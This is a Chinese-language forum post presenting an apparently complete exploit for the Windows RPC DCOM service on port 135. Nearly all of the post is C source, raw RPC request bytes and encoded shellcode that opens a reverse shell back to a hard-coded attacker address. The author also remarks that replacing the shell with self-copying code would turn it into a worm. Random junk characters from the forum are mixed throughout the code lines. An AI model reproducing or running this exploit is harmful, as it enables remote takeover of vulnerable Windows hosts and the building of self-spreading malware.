TA的每日心情 | 奋斗 2015-9-17 00:58 |
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签到天数: 1 天 [LV.1]初来乍到
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上上周和 hzzh 讨论了一个下午,他的程序强,window的一系列版本都被包括了,可以在远程开一个帐号或者一个shell,然后悄悄从启动 rpc 服务,让人觉得什么都没有发生,那个时候我就说一定会爆发病毒了,果然马上就出来了。
* l! }, N1 p" e- @; ^5 B q以下是主要代码(小翅你第一次尝的就是这个):
' e6 o! V) U! O( gvoid main(int argc,char ** argv)
1 ~" y$ q+ h F9 Z/ G d{& k! n G& Q& S+ l2 A& _5 N; {) s
WSADATA WSAData;
; h( m$ H* b" B SOCKET sock;% h6 G) N z- X
int len,len1;
9 w B7 _6 S) v# G3 ^# M* E SOCKADDR_IN addr_in; Q3 X! H( Q D3 t8 H& W
short port=135;
1 q" k# C8 e& ^! K unsigned char buf1[0x1000];
+ k* Z9 I6 z8 [. B5 l; r8 { unsigned char buf2[0x1000];
6 N; B6 ?: q. C u$ R8 `5 D unsigned short port1;1 s3 X( O" s2 P
DWORD cb;* E, R0 x6 P4 Y/ C; o! h) j
: J$ i5 ]/ b( R1 K# D
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)3 w; {+ Z, b& t! D u9 ?
{
; K7 }6 x4 i) H X, @; g printf("WSAStartup error.Error:d\n",WSAGetLastError());
- {- G9 B. j7 _, X return;/ o: E1 _1 K7 U7 F1 P; x7 H
}
6 n% H3 k8 m' H
2 N3 I# J5 I0 A3 A w3 y addr_in.sin_family=AF_INET;4 }4 P; C8 w1 |' ?" \) x/ n
addr_in.sin_port=htons(port);! {% y! o j0 @8 V
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
. |& O5 Z |- Y, g# S' s
1 f/ O4 m# O0 h: L) J2 D if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
; k, \& b: U7 f9 s( T: v( P: [ {
: n; \; F( J( t0 n- Y printf("Socket failed.Error:d\n",WSAGetLastError());5 |4 k4 K. G% @) \, }5 N# ~: M
return;: N( ~/ n, }' X/ L& P6 P
}
7 Y P- x f5 {* Y2 w# e if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
6 f; K% I0 h; g {' B* A/ s0 h' x; k8 ?% I/ d
printf("Connect failed.Error:d",WSAGetLastError());# F, z) B7 ~2 u0 G3 M, M
return;% p: {4 I& S' P& l: h& n: P
}, P' b$ j$ K- q4 {
port1 = htons (2300); //反向连接的端口
) |; N4 ~1 J/ L! j1 U port1 ^= 0x9393;% T, A/ i' t2 m$ B. t
cb=0X0900A8C0; //反向连接的IP地址,这里是192.168.0.9,我的 ip 地址9 A% Y* {+ A( d! \+ D, Q9 h
cb ^= 0x93939393;" }: A, }3 @& F
*(unsigned short *)&sc[330+0x30] = port1;
& x* {9 m. E* u' R0 N/ [ *(unsigned int *)&sc[335+0x30] = cb;
( g# f8 q, Q5 p len=sizeof(sc);
) z" w# w5 A' H* G* H7 O$ p memcpy(buf2,request1,sizeof(request1));! f" Z" Y- J8 K' y0 |5 D" g. k$ G
len1=sizeof(request1);( Z/ S/ w4 S7 S( `$ C
*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度1 v0 g, `4 f# p% v/ y
*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2; //计算文件名双字节长度
1 @, @$ R0 S& g3 P6 m) I8 M memcpy(buf2+len1,request2,sizeof(request2));7 {5 w/ Z! K Z& _
len1=len1+sizeof(request2);
( T: x# r9 J: g memcpy(buf2+len1,sc,sizeof(sc));8 s) T" k; x8 n2 P L: r
len1=len1+sizeof(sc);
5 l* P* C4 X0 W& \ memcpy(buf2+len1,request3,sizeof(request3));
. a: ~- h5 T% i) g: x) k8 U len1=len1+sizeof(request3);7 i( ]) Y9 k& h
memcpy(buf2+len1,request4,sizeof(request4));7 l( M* x3 W4 M
len1=len1+sizeof(request4);2 b1 ^$ @ \2 i) o
*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc;$ ^: }# I: G6 }% W! k$ b, L
//计算各种结构的长度
7 H8 B; ~: l- p P" @" Z# d *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc;
+ x! F! O# e+ m& I *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc;
! l- o' L4 k. o* B *(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;
" E1 K6 c% a" I *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc;7 {+ S# G+ h- t
*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc;
) N; H! x- ]! T *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc;) s4 x, S6 m* |6 ~$ }, K+ P
*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc;6 u- a0 t6 [1 _5 X
if (send(sock,(char *)bindstr,sizeof(bindstr),0)==SOCKET_ERROR)2 v/ [$ i9 @ H* h
{2 L& Y* v& C8 W0 r2 b$ F
printf("Send failed.Error:d\n",WSAGetLastError());9 f' `2 R# x% \- J- e! r; r
return;: W1 n1 e5 ~8 s5 D- m4 a/ m8 n% S
}( A D9 \% q5 a8 N% a1 w
: f8 f; s% V+ [5 I% u
len=recv(sock,(char *)buf1,1000,NULL);1 t5 R- a; s% X* M
if (send(sock,(char *)buf2,len1,0)==SOCKET_ERROR)
- A: L) k: g! w {+ Q9 k* E2 r8 @+ r
printf("Send failed.Error:d\n",WSAGetLastError());
; r/ {8 F i! `6 X4 n return;4 G `: ]5 _6 Z5 m3 {" G+ i
}+ g7 `1 X2 M# v2 X5 b
len=recv(sock,(char *)buf1,1024,NULL);* n \/ y7 I0 E1 w: I* ^
}
4 W/ ?$ [, d7 F% J. ]" A* A8 j h其中变量:request4[],sc[],request3[],request2[],request1[],bindstr[] 都是 unsigned char 。# K0 ~7 {1 p2 T
其实他们就是后门 shell 和 溢出的请求,如下:- ^' ~* {% B3 f
unsigned char bindstr[]={5 D& ?5 Y7 t/ _! u) v% S+ q
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,0 w# N+ p* M4 h/ k4 I: T a
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,8 q9 {- N6 n: J: ?+ u
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,$ D2 d9 a( X( a5 P! O! |
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,6 w1 D" n: h' m8 t$ G8 Y2 W
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
3 ]. E3 ^% V; I" L) c9 s3 E
4 U/ r- q$ C. y8 \% H* `, kunsigned char request1[]={
8 r/ b& \+ i( w9 m0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03% U3 i2 Z: N0 m% ~4 Q) \
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00* k. n, x! d" x& N
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
# V' ^, B$ } D; g$ o,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00) l8 j% w1 ?) f4 M9 n4 X
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
. k! H% P) N! U3 Q$ Q8 d1 a,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D) v+ M2 z. E( l/ B
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
8 N. j- L4 t& N4 x& r8 G' {! r,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
+ W' U! ?3 Z: M) S3 J: i6 M5 M! T$ r,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
+ v/ V0 B9 L6 `* I,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x003 H, O2 j% ?' ]- }7 ?2 O: u
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
$ y9 v; {# }) Z% Q' J,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x034 R, G% z2 Y" S0 I9 F1 m4 b
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
$ B4 J G5 m; O7 w$ y5 R. W, y,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x005 c4 u/ U8 Q; a. O8 x! \! G$ S
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
1 U- ^5 E' t, L8 t$ p4 g) k' ~) r,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29* c) L6 w/ `" {& ?& H" }4 V6 ?1 K( P
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
/ F; G3 k3 w: W7 |' j,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00+ n+ H# n6 F H6 X3 A
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00/ e4 r7 I2 P: X
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
9 b5 e: [! g( w, W& U& Z1 }8 k,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
8 n/ J' H6 q# c6 O,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00( E" _1 w3 k, e! L
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
+ d& u3 ?! x5 p. Z! P0 \8 Q* j,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x002 W0 c* |$ c! a5 R- }
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
/ ?2 k( ]- b) |6 I$ p- p& [,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x104 }, [( T# V5 p6 ]
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
/ K o: I6 y# e3 a' k' m$ g,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x004 ^; o% P; J1 s: p* k- A b k/ u
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00( R1 a3 b* m, a9 C' }4 L. f
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
1 h. {+ O, j4 |( W, z% x# q( x9 g,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
( v# r9 I0 L+ [' H3 J,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10& c( j8 `* l8 S% O# E) i
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
. X8 |# m. U" s3 S,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00) z$ Q; J$ H3 p* E) }& M0 l/ b0 A
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
2 q! C K( v$ {+ R. k, T,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00% ^% @0 K- Q! Z6 L' |
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x008 F, J Q9 o; I
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00' N) P7 m9 F! @( S% e/ w
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 _1 S# r4 Y/ P2 i1 @2 y6 x2 S6 l
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00, U' S' v$ b( s1 Y. p( D
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
2 o! K) o8 @' l# q5 i6 G,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
7 |/ X. z% j! h' n% V5 a1 x( D. n,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00: h; U3 E" p6 Z5 ]$ k N1 j" b0 i( Q
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
% f3 O3 w5 L8 U. ` ~,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
7 y% B( W9 m4 D; S% T7 U,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00' ~/ m9 f$ }% p( ]3 M
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x004 ]6 V( o1 |+ j, g$ c+ y3 `
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00, Q+ p$ m8 D' c9 D
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
4 y5 G$ f! M4 f,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
5 t+ Z* X( h( \! i: N,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00& g: p3 p! c9 [2 L
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00* i5 q* u' L: J
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
1 x) C4 X' s! K/ n I0 t,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x008 P' X* U% Z: p; F! ~. D7 P1 x
,0x00,0x00,0x00,0x00,0x00,0x00};
/ P! \# m- j' A2 I) n! I1 x1 L
L! J) i5 o4 u- n* R0 junsigned char request2[]={7 Y- a% ]; s* u& y7 f+ i Z
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
+ @8 L1 ]2 y2 W0 Z( T0 ^9 y,0x00,0x00,0x5C,0x00,0x5C,0x00};
2 m! F$ c5 x h8 u0 m+ j# `: _
( m9 H0 D: B1 b4 O" munsigned char request3[]={# F! _- ]6 p2 S }
0x5C,0x00
0 |/ t+ Z/ N( u% L,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x006 H5 s+ W. [/ y' F( _# X, C1 D
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
, a! u# F- z& I: S4 w' P7 E; Q+ @,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x009 m( c& S% m' p# B
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
: w' z! A' N8 }6 Y1 W' z: v
| g* x" s* V7 C Nunsigned char sc[]=
( \; O# V# i: H5 v, P- W) ^ "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
6 M* S% ?2 Q! k. T) X: r4 L5 y5 @ "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
$ {5 F0 h# y0 c3 P1 ^( i' s "\x46\x00\x58\x00"6 x2 q7 Q* `3 s+ q( T4 k: c
"\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL,可能需要自己改动
& A& l4 `) u( L6 } "\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址
7 z. X6 O5 Q1 y2 l //下面是SHELLCODE,可以放自己的SHELLCODE,但必须保证sc的整体长度/16=12: R% U% w4 g5 \9 T& _
//SHELLCODE不存在0X00,0X00与0X5C
% f6 s) m/ p+ l9 k4 _+ }* Y "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
; i3 p3 @. Y& Z "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
+ e3 p# @3 P8 t& g2 c8 Y. V "\x93\x40\xe2\xfa" // code ; L. _1 u4 H- t8 R$ e" C% }" E: `
"\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1"; I% H/ E% u5 M6 t9 @! ^, I
"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2"( P3 Z R+ U, E6 Y$ M
"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93"
2 A: Z: W+ b% ` e& p; y2 [$ b "\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7"
$ E* L% j; t: F "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0"
9 N8 T2 X4 D0 E V8 R D "\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8"
- o5 M/ k+ b$ T& _/ @ "\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93") C: ^& R$ r1 `+ o
"\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93"# u, O$ X2 V2 S$ k. e8 R+ v5 z2 m
"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0"
: k# J; v0 j; l0 f' Q4 T! h3 y "\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87"/ `2 K S2 `$ w( [
"\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60") g# b9 c9 H& Y3 e2 d' d/ ]1 t8 e
"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5"
) e9 `7 `* h4 E8 c1 R1 L "\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90"
, T, ?5 O5 o$ r( L/ G9 Z "\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22"0 s, r6 T( }3 D4 }; O' x
"\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18"+ T# ~+ d* @* ]4 i, m
"\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92"
% T b* t8 ~8 y' [) Y4 t "\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3"& ]5 C; j8 X! ]2 s* E
"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93"
9 ?5 z3 t g5 h- X- G, e' ^& d "\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9"5 P" f! T' i) x4 [' q& L( L- x
"\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18"
+ q+ n# h7 P' u# M) {7 u3 j V- N- ] "\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"# g3 n* L$ H# i
"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"
/ H" b5 ]* F& C$ E( B" ? "\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"& ]! G, ]& f7 o" P7 w# z% p
"\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"1 }/ R l* R9 U( C) k7 U
"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90"
) L7 B8 K3 X3 F3 P5 W% ~' ` "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";* ^* E/ @, T d0 b2 K" s
]+ E+ p0 {/ p4 T/ E7 a J( Iunsigned char request4[]={
! g3 |4 u- {; }. R( M9 x+ x0 y0x01,0x10+ z8 u$ H' W; R! m* h
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
) k- y3 n/ H1 Y1 m3 U,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
9 h) K( t$ i7 F: [,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00% R( Y6 g; P: i8 X* j
};
; I6 P2 ~5 {; o( B. Q& y& }这就是完整的一个攻击程序了,如果把 后门 shell 换成一个复制自己然后在用这段代码来攻击别人的,那么就是 一个病毒了。
4 x3 ~: _# d" P2 c注意:这段代码功能比 hzzh 的要弱,只针对一个window版本,同时为防止没有道德的菜鸟直接编译了就去害人,这里我没有给出头文件。需要的可以和我联系看看。 |
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